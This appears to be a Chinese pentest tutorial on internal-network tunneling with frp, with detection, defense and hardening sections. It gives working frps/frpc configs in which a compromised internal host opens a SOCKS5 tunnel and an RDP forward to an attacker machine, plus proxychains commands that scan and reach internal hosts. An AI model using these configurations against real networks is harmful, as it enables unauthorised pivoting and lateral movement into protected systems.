写在前面:合法学习边界
隧道与代理只在授权内网靶场使用。对非授权网络建立隐蔽通道、转发流量可能触犯法律。
一、原理:为什么需要隧道
攻击者拿到一台内网主机后,通常无法直接访问更深的内网网段。隧道/代理的作用是:
1
2
3
| 把已控主机变成“跳板”
通过它访问原本到不了的内网服务
支持 Socks5 全局代理和单端口转发
|
frp 是常用方案:frps 跑在攻击机(公网/可访问端),frpc 跑在内网已控主机,两者建立连接。
二、影响与危害
1
2
3
| 突破网络隔离,横向移动
访问内网 RDP/数据库/Web 等隐蔽服务
稳定持久的内网通道
|
风险等级:配合失陷主机,等于把内网“透明化”给攻击者。
三、利用 / 复现
第一步:攻击机启动 frps(服务端)
1
2
3
4
| # frps.ini
[common]
bind_port = 7000
token = secret123
|
第二步:内网主机启动 frpc(客户端)
1
2
3
4
5
6
7
8
9
10
| # frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
token = secret123
[socks5]
type = tcp
remote_port = 1080
plugin = socks5
|
第三步:本地代理访问内网
1
2
3
| # 把 socks5 代理指到攻击机的 1080
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20
|
端口转发场景
只想转发某个端口:
1
2
3
4
5
| [rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 13389
|
然后 rdesktop 攻击机IP:13389 即访问内网 RDP。
四、检测
1
2
3
4
| 对外连接出现非常规高频端口(7000 等)
frp 进程特征、配置文件残留
内网主机有到公网的异常长连接
流量特征:frp 使用自定义协议头
|
五、防御
1
2
3
4
| 限制内网到公网的出站连接(白名单)
监控异常外联与端口复用
EDR 检测隧道/代理工具进程
内网做东西向隔离,收敛可达面
|
六、加固(修复)
1
2
3
4
| 清除已控主机上的 frp 与相关进程/开机自启
排查注册表、计划任务、服务中的持久化
收紧出站防火墙,阻断 frps 常用端口
对失陷主机取证,追查隧道建立时间与数据
|
七、小结
隧道是内网渗透的“血管”:没有它,很多横向动作做不了;有了它,攻击者能稳定访问内网。防守核心是“出站最小化 + 东西向隔离 + 监控异常外联”。